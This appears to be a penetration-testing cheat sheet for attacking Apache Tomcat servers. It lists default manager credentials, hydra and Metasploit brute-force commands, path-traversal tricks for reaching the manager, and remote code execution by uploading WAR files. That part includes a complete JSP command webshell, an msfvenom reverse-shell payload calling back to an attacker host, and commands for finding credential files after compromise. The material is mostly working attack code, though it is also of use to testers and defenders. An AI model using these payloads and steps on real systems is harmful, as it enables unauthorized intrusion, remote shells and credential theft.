Apache Tomcat 9 (9.0.30) - Documentation Index

# Tomcat

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## Discovery * It usually runs on **port 8080** * **Common Tomcat error:**

## Enumeration ### Version ```bash curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat Apache Tomcat 9 (9.0.30) - Documentation Index use auxiliary/scanner/http/tomcat_enum ``` ### Default credentials The most interesting path of Tomcat is _**/manager/html**_, inside that **path you can upload and deploy war files** (execute code). But this path is protected by basic HTTP auth, the most common credentials are: * admin:admin * tomcat:tomcat * admin:\ * admin:s3cr3t * tomcat:s3cr3t * admin:tomcat You could test these and more using: ```bash msf> use auxiliary/scanner/http/tomcat_mgr_login ``` Another **interesting Tomcat** path is _**/manager/status**_, where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access _**/manager/html.**_ ### Bruteforce ```bash hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts ``` ## Vulns ### Password backtrace disclosure Try to access `/auth.jsp` and if you are very lucky it **might disclose the password in a backtrace**. ### Double URL encode A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.** In order to access to the management web of the Tomcat go to: _pathTomcat/%252E%252E/manager/html_ Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token.\ To access to backdoor you might also need to use the double urlencode trick. ### /examples The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from [here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)). * /examples/jsp/num/numguess.jsp * /examples/jsp/dates/date.jsp * /examples/jsp/snp/snoop.jsp * /examples/jsp/error/error.html * /examples/jsp/sessions/carts.html * /examples/jsp/checkbox/check.html * /examples/jsp/colors/colors.html * /examples/jsp/cal/login.html * /examples/jsp/include/include.jsp * /examples/jsp/forward/forward.jsp * /examples/jsp/plugin/plugin.jsp * /examples/jsp/jsptoserv/jsptoservlet.jsp * /examples/jsp/simpletag/foo.jsp * /examples/jsp/mail/sendmail.jsp * /examples/servlet/HelloWorldExample * /examples/servlet/RequestInfoExample * /examples/servlet/RequestHeaderExample * /examples/servlet/RequestParamExample * /examples/servlet/CookieExample * /examples/servlet/JndiServlet * /examples/servlet/SessionExample * /tomcat-docs/appdev/sample/web/hello.jsp ### Path Traversal (..;/) In some [**vulnerable configurations of Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) you can gain access to protected directories in Tomcat using the path: `/..;/` So, for example, you might be able to **access the Tomcat manager** page by accessing: `www.vulnerable.com/lalala/..;/manager/html` **Another way** to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html` ## RCE Finally, if you have access to the Tomcat Web Application Manager, you can **upload and deploy a .war file (execute code)**. ### Limitations You will only be able to deploy a WAR if you have **enough privileges** (roles: **admin**, **manager** and **manager-script**). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](tomcat.md#post)section). ```bash # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # deploy under "path" context path curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell" # undeploy curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" ``` ### Metasploit ```bash use exploit/multi/http/tomcat_mgr_upload msf exploit(multi/http/tomcat_mgr_upload) > set rhost msf exploit(multi/http/tomcat_mgr_upload) > set rport msf exploit(multi/http/tomcat_mgr_upload) > set httpusername msf exploit(multi/http/tomcat_mgr_upload) > set httppassword msf exploit(multi/http/tomcat_mgr_upload) > exploit ``` ### MSFVenom Reverse Shell ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war ``` Then, **upload the `revshell.war` file and access to it (**_**/revshell/**_**)** ### Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) In some scenarios this doesn't work (for example old versions of sun) #### Download ```bash git clone https://github.com/mgeeky/tomcatWarDeployer.git ``` #### Reverse shell ```bash ./tomcatWarDeployer.py -U -P -H -p :/manager/html/ ``` #### Bind shell ```bash ./tomcatWarDeployer.py -U -P -p :/manager/html/ ``` ### Using [Culsterd](https://github.com/hatRiot/clusterd) ```bash clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows ``` ### Manual method - Web shell Create **index.jsp** with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp): ```java <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"
"; } } catch(IOException e) { e.printStackTrace(); } } %>

<%=output %>

``` ```bash mkdir webshell cp index.jsp webshell cd webshell jar -cvf ../webshell.war * webshell.war is created # Upload it ``` You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html) ### Manual Method 2 Get a JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) and create a WAR file: ```bash wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp zip -r backup.war cmd.jsp # When this file is uploaded to the manager GUI, the /backup application will be added to the table. # Go to: http://tomcat-site.local:8180/backup/cmd.jsp ``` ## POST Name of Tomcat credentials file is _tomcat-users.xml_ ```bash find / -name tomcat-users.xml 2>/dev/null ``` Other ways to gather Tomcat credentials: ```bash msf> use post/multi/gather/tomcat_gather msf> use post/windows/gather/enum_tomcat ``` ## Other tomcat scanning tools * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)

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